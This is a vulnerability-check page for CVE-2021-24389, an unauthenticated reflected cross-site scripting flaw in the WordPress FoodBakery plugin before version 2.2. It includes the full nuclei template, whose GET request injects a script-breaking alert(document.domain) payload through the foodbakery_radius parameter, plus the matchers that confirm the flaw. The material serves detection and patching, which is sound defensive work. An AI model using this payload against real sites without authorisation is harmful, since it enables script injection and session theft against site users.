WordPress FoodBakery <2.2 - Cross-Site Scripting

mediumseverity

6.1CVSS score

3.8%likelihood of exploitation, next 30 days

90%of all CVEs are less likely

Readycheck to confirm it

WordPress FoodBakery before 2.2 contains an unauthenticated reflected cross-site scripting vulnerability. It does not properly sanitize the foodbakery_radius parameter before outputting it back in the response.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update the WordPress FoodBakery plugin to version 2.2 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/listings/?search_title=&location=&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3C…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24389 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24389

info:
  name: WordPress FoodBakery <2.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress FoodBakery before 2.2 contains an unauthenticated reflected cross-site scripting vulnerability. It does not properly sanitize the foodbakery_radius parameter before outputting it back in the response.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress FoodBakery plugin to version 2.2 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/23b8b8c4-cded-4887-a021-5f3ea610213b
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24389
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24389
    cwe-id: CWE-79
    epss-score: 0.03753
    epss-percentile: 0.89973
    cpe: cpe:2.3:a:chimpgroup:foodbakery:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: chimpgroup
    product: foodbakery
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,wpscan,chimpgroup,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/listings/?search_title=&location=&foodbakery_locations_position=filter&search_type=autocomplete&foodbakery_radius=10%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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